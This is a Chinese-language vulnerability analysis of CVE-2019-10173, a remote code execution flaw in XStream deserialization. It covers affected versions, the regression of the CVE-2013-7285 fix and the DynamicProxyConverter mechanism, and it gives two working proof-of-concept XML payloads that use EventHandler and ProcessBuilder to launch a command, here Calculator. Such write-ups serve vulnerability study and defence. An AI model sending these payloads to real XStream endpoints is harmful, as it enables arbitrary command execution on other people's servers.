0x01 影响范围

1.4.10以及 <=1.4.6

0x02 产生原因

是xstream 1.4.10针对CVE-2013-7285的一个回滚造成的,官方对CVE-2013-7285通告及漏洞细节纰漏:https://x-stream.github.io/CVE-2013-7285.html

0x03 原理分析

XStream提供的XStream Converters功能,其中有一个DynamicProxyConverter类:

CVE-2019-10173-Xstream远程代码执行漏洞分析 - 图1

dynamic proxy本身不会被序列化,但是被实现和被InvocationHandler实例化的接口是能够序列化的。这允许在反序列化之后对接口进行重建。

意思就是在反序列化的时候可以对Interfaces进行重建,然后攻击者就可以把接口全部重建为命令执行的方法。

具体原理细节:todo

0x04 POC

和CVE-2013-7285的POC是通用的,下面为官网纰漏的一个POC:
首先随便实现一个接口:

  1. public interface Contact {
  2. String getFirstName(String p);
  3. }

poc:

  1. import com.thoughtworks.xstream.XStream;
  2. public class XstreamTest {
  3. public static void main(String[] args){
  4. String xml = "<dynamic-proxy>" +
  5. "<interface>other.xstreamtest.Contact</interface>" +
  6. "<handler class=\"java.beans.EventHandler\">" +
  7. " <target class=\"java.lang.ProcessBuilder\">" +
  8. " <command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command>" +
  9. " </target>" +
  10. " <action>start</action>" +
  11. "</handler>" +
  12. "</dynamic-proxy>";
  13. XStream xstream = new XStream();
  14. Contact contact = (Contact)xstream.fromXML(xml);
  15. contact.getFirstName("a");
  16. }
  17. }

这个POC相对不够广泛,需要找到一个接口,并且在反序列化完成后需要调用接口中的一个成员函数才能触发。
下面为一个比较广泛的POC:

  1. String xml = "<sorted-set>" +
  2. "<string>foo</string>" +
  3. "<dynamic-proxy>" +
  4. "<interface>java.lang.Comparable</interface>" +
  5. "<handler class=\"java.beans.EventHandler\">" +
  6. " <target class=\"java.lang.ProcessBuilder\">" +
  7. " <command>" +
  8. " <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>" +
  9. " </command>" +
  10. " </target>" +
  11. " <action>start</action>" +
  12. "</handler>" +
  13. "</dynamic-proxy>" +
  14. "</sorted-set>";
  15. XStream xstream = new XStream();
  16. Object o = (Object)xstream.fromXML(xml);